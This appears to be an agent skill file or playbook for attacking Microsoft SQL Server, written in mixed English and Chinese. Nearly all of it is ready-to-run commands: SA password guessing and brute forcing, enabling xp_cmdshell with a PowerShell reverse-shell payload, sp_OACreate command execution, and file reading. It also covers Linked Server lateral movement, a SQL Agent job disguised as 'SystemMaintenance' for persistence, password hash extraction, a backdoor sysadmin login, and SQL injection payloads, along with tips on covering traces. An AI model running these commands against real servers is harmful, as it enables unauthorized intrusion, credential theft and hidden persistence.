sqlserver-attack

SQL Server Penetration Testing and Exploitation

SQL Server listens on port 1433 by default, and a weak SA password is the most common entry point. Once sysadmin privileges are obtained, OS commands can be executed directly via xp_cmdshell; even if xp_cmdshell is disabled, there are still multiple RCE paths such as sp_OACreate, CLR Assembly, and SQL Agent Job. The Linked Server mechanism is an important pivot for lateral movement within the internal network.

In-Depth Reference (Must Read)

• Complete exploitation commands and payloads -> read references/attack-techniques.md

---

Phase 1: Service Discovery

1.1 Port Scanning and Version Identification

# Nmap 版本探测
nmap -sV -p 1433 TARGET

# SQL Server 信息收集脚本
nmap -p 1433 --script ms-sql-info TARGET

Probe SQL Server Browser (UDP 1434, to obtain instance information)

nmap -sU -p 1434 --script ms-sql-info TARGET

### 1.2 手动连接测试

```bash
# sqlcmd（微软官方客户端）
sqlcmd -S TARGET,1433 -U sa -P 'password' -Q "SELECT @@version;"

# mssqlclient.py（Impacket，渗透测试首选）
mssqlclient.py sa:'password'@TARGET -port 1433

# sqsh（Linux 原生客户端）
sqsh -S TARGET:1433 -U sa -P 'password'

# Windows 认证（当前域凭据）
sqlcmd -S TARGET -E -Q "SELECT @@version;"

# mssqlclient.py Windows 认证
mssqlclient.py DOMAIN/user:'password'@TARGET -windows-auth

Key Judgment：

• Returns version information -> connected, proceed to Phase 3
• Returns Login failed for user -> wrong password, proceed to Phase 2
• Returns TCP Provider: Error -> network unreachable or port blocked by firewall
• Returns version number -> determine SQL Server version (affects available attack paths)

---

Phase 2: Authentication Detection

2.1 Authentication Mode

SQL Server 认证模式（影响攻击路径）
├─ SQL Server 认证 — 用户名 + 密码（SA 弱口令最常见）
├─ Windows 认证 — 域凭据（NTLM/Kerberos）
└─ 混合模式 — 同时支持以上两种（最常见配置）

2.2 SA Weak Password Detection

# 常见 SA 默认密码
sqlcmd -S TARGET -U sa -P '' -Q "SELECT 1;"
sqlcmd -S TARGET -U sa -P 'sa' -Q "SELECT 1;"
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT 1;"
sqlcmd -S TARGET -U sa -P '123456' -Q "SELECT 1;"
sqlcmd -S TARGET -U sa -P 'admin' -Q "SELECT 1;"
sqlcmd -S TARGET -U sa -P 'Password1' -Q "SELECT 1;"

# Windows 认证（无需密码，使用当前凭据）
sqlcmd -S TARGET -E -Q "SELECT 1;"

2.3 Brute Force

# Hydra
hydra -l sa -P passwords.txt TARGET mssql

# Nmap
nmap -p 1433 --script ms-sql-brute TARGET

# Medusa
medusa -h TARGET -u sa -P passwords.txt -M mssql

# Metasploit
msf> use auxiliary/scanner/mssql/mssql_login
msf> set RHOSTS TARGET
msf> run

---

Phase 3: Attack Decision Tree

已连接 SQL Server？
├─ 查询当前权限
│   SELECT SYSTEM_USER, USER_NAME();
│   SELECT IS_SRVROLEMEMBER('sysadmin');
│
├─ sysadmin (SA) 权限
│   ├─ xp_cmdshell 可启用 -> RCE (Phase 4.1)
│   ├─ xp_cmdshell 被禁且无法启用 -> sp_OACreate COM 对象 RCE (Phase 4.2)
│   ├─ 有 BULK INSERT 权限 -> 文件读取 (Phase 4.3)
│   ├─ 有 Linked Server -> 横向移动到其他 SQL Server (Phase 5.1)
│   ├─ 有 SQL Agent 权限 -> Job 持久化 (Phase 5.2)
│   ├─ CLR 集成可启用 -> CLR Assembly RCE (Phase 4.2)
│   └─ sys.sql_logins 可查 -> 凭据提取 (Phase 6.2)
│
├─ 普通数据库用户权限
│   ├─ information_schema 可查 -> 数据库枚举 (Phase 6.1)
│   ├─ IMPERSONATE 权限 -> 模拟其他用户提权
│   ├─ db_owner 角色 -> 通过 EXECUTE AS 提权
│   └─ 尝试提权 -> sp_addsrvrolemember (Phase 6.3)
│
└─ SQL 注入场景
    ├─ 堆叠注入可用 -> xp_cmdshell RCE
    ├─ UNION 注入 -> 数据提取
    ├─ 时间盲注 -> WAITFOR DELAY 探测
    └─ 报错注入 -> CONVERT 类型转换报错

Prerequisite Information Gathering

# 当前用户与权限
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT SYSTEM_USER, USER_NAME();"
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT IS_SRVROLEMEMBER('sysadmin');"

# SQL Server 版本
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT @@version;"

# 所有数据库
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT name FROM sys.databases;"

# 服务器配置（xp_cmdshell、OLE Automation 等是否启用）
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC sp_configure;"

# 检查 Linked Server
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC sp_linkedservers;"

# 检查 SQL Agent 状态
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT dss.status_desc FROM sys.dm_server_services dss WHERE servicename LIKE '%Agent%';"

# mssqlclient.py 交互式枚举
mssqlclient.py sa:'password'@TARGET
# 进入后执行：
# enum_db         — 列出数据库
# enum_logins     — 枚举登录账户
# enum_impersonate — 检查可模拟的用户

---

Phase 4: RCE Quick Reference

4.1 xp_cmdshell Command Execution (requires sysadmin)

# 启用 xp_cmdshell
sqlcmd -S TARGET -U sa -P 'password' -Q "
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"

# 执行系统命令
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC xp_cmdshell 'whoami';"
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC xp_cmdshell 'ipconfig';"

# 反弹 Shell（PowerShell）
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC xp_cmdshell 'powershell -e <BASE64_PAYLOAD>';"

# mssqlclient.py（自动启用 xp_cmdshell）
mssqlclient.py sa:'password'@TARGET
# 进入后执行：
# enable_xp_cmdshell
# xp_cmdshell whoami

# 用完后禁用（减少痕迹）
sqlcmd -S TARGET -U sa -P 'password' -Q "
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
EXEC sp_configure 'show advanced options', 0; RECONFIGURE;"

4.2 sp_OACreate COM Object RCE (alternative when xp_cmdshell is disabled)

# 启用 OLE Automation
sqlcmd -S TARGET -U sa -P 'password' -Q "
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;"

# 通过 wscript.shell 执行命令
sqlcmd -S TARGET -U sa -P 'password' -Q "
DECLARE @shell INT;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', NULL, 'cmd /c whoami > C:\temp\output.txt';"

# 通过 Scripting.FileSystemObject 写文件
sqlcmd -S TARGET -U sa -P 'password' -Q "
DECLARE @fs INT, @file INT;
EXEC sp_oacreate 'Scripting.FileSystemObject', @fs OUTPUT;
EXEC sp_oamethod @fs, 'CreateTextFile', @file OUTPUT, 'C:\temp\payload.txt', 1;
EXEC sp_oamethod @file, 'Write', NULL, 'malicious content';
EXEC sp_oamethod @file, 'Close';"

4.3 BULK INSERT File Reading

# 读取本地文件
sqlcmd -S TARGET -U sa -P 'password' -Q "
CREATE TABLE #tmp (line VARCHAR(MAX));
BULK INSERT #tmp FROM 'C:\Windows\System32\drivers\etc\hosts';
SELECT * FROM #tmp;
DROP TABLE #tmp;"

# OPENROWSET 读取文件
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents;"

-> More methods and complete payloads -> read references/attack-techniques.md

---

Phase 5: Lateral Movement and Persistence Quick Reference

5.1 Linked Server Lateral Movement

# 列出所有 Linked Server
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC sp_linkedservers;"

# 通过 OPENQUERY 在远程服务器执行查询
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT * FROM OPENQUERY(LINKED_SERVER, 'SELECT @@servername; SELECT @@version;');"

# 通过 EXEC AT 在远程服务器执行命令（链式利用）
sqlcmd -S TARGET -U sa -P 'password' -Q "
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT LINKED_SERVER;
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT LINKED_SERVER;
EXEC ('EXEC xp_cmdshell ''whoami'';') AT LINKED_SERVER;"

# 嵌套 Linked Server（多跳横向移动）
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT * FROM OPENQUERY(SERVER_A, 'SELECT * FROM OPENQUERY(SERVER_B, ''SELECT @@servername'')');"

5.2 SQL Agent Job Persistence

# 创建持久化 Job
sqlcmd -S TARGET -U sa -P 'password' -Q "
USE msdb;
EXEC dbo.sp_add_job @job_name = 'SystemMaintenance';
EXEC dbo.sp_add_jobstep @job_name = 'SystemMaintenance',
    @step_name = 'step1',
    @subsystem = 'CmdExec',
    @command = 'powershell -e <BASE64_PAYLOAD>';
EXEC dbo.sp_add_jobserver @job_name = 'SystemMaintenance';
EXEC dbo.sp_start_job @job_name = 'SystemMaintenance';"

# 添加定时计划（每天执行）
sqlcmd -S TARGET -U sa -P 'password' -Q "
USE msdb;
EXEC dbo.sp_add_schedule @schedule_name = 'DailyRun',
    @freq_type = 4,
    @freq_interval = 1,
    @active_start_time = 010000;
EXEC dbo.sp_attach_schedule @job_name = 'SystemMaintenance',
    @schedule_name = 'DailyRun';"

# 列出现有 Job
sqlcmd -S TARGET -U sa -P 'password' -Q "EXEC msdb.dbo.sp_help_job;"

-> read references/attack-techniques.md for complete technical details

---

Phase 6: Data Extraction and Privilege Escalation

6.1 Database Enumeration

# 列出所有数据库
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT name FROM sys.databases;"

# 列出指定数据库的所有表
sqlcmd -S TARGET -U sa -P 'password' -d DATABASE_NAME -Q "
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;"

# 搜索敏感表名
sqlcmd -S TARGET -U sa -P 'password' -d DATABASE_NAME -Q "
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%password%' OR TABLE_NAME LIKE '%user%' OR TABLE_NAME LIKE '%credential%';"

# 搜索敏感列名
sqlcmd -S TARGET -U sa -P 'password' -d DATABASE_NAME -Q "
SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE '%password%' OR COLUMN_NAME LIKE '%secret%' OR COLUMN_NAME LIKE '%token%';"

6.2 Credential Extraction

# 提取 SQL Server 登录哈希（需 sysadmin）
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT name, password_hash FROM sys.sql_logins;"

# 列出所有服务器级登录
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT name, type_desc, is_disabled FROM sys.server_principals;"

# 列出 sysadmin 成员
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT name FROM sys.server_principals
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;"

6.3 User Creation and Privilege Escalation

# 创建新登录并赋予 sysadmin
sqlcmd -S TARGET -U sa -P 'password' -Q "
CREATE LOGIN attacker WITH PASSWORD = 'P@ssw0rd!';
EXEC sp_addsrvrolemember 'attacker', 'sysadmin';"

# IMPERSONATE 提权（检查并利用模拟权限）
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT DISTINCT grantee_principal_id, name
FROM sys.server_permissions
JOIN sys.server_principals ON grantee_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';"

# 模拟 SA 执行命令
sqlcmd -S TARGET -U lowpriv -P 'password' -Q "
EXECUTE AS LOGIN = 'sa';
EXEC xp_cmdshell 'whoami';
REVERT;"

---

SQL Injection Quick Reference

# 版本探测
' UNION SELECT NULL,@@version--

# 当前用户
' UNION SELECT NULL,SYSTEM_USER--

# 数据库列表
' UNION SELECT NULL,name FROM master..sysdatabases--

# 表列表
' UNION SELECT NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

# 时间盲注
'; WAITFOR DELAY '0:0:5'--

# 堆叠注入 + xp_cmdshell RCE（最高威胁）
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'--

# 报错注入（提取数据）
' AND 1=CONVERT(int,(SELECT @@version))--

# 布尔盲注
' AND SUBSTRING(@@version,1,1)='M'--

---

Tool Quick Reference

Tool	Purpose
sqlcmd	SQL Server official command-line client
mssqlclient.py	Impacket penetration testing client (recommended)
sqsh	Linux native SQL Server client
PowerUpSQL	PowerShell SQL Server auditing and exploitation framework
hydra / medusa	SQL Server password brute force
nmap ms-sql-*	Nmap built-in SQL Server script set
sqlmap	Automated SQL injection detection and exploitation
Metasploit	SQL Server module collection (login/enumeration/RCE)

---

Notes

• xp_cmdshell After enabling, SQL Server logs will record it; it should be disabled immediately after operations are complete
• sp_OACreate Executed commands have no direct output; output must be obtained by writing to a file or exfiltration
• During Linked Server lateral movement, the permissions on the remote server depend on the mapped account configured for the Linked Server
• SQL Agent Job requires the SQL Server Agent service to be running
• BULK INSERT requires the SQL Server service account to have read permission on the file
• Cloud-hosted SQL Server (Azure SQL/RDS) usually disables xp_cmdshell and file system access
• In Windows authentication scenarios, you must first obtain domain credentials or operate on a machine within the domain
• password_hash After extracting from sys.sql_logins, it can be cracked using hashcat mode 1731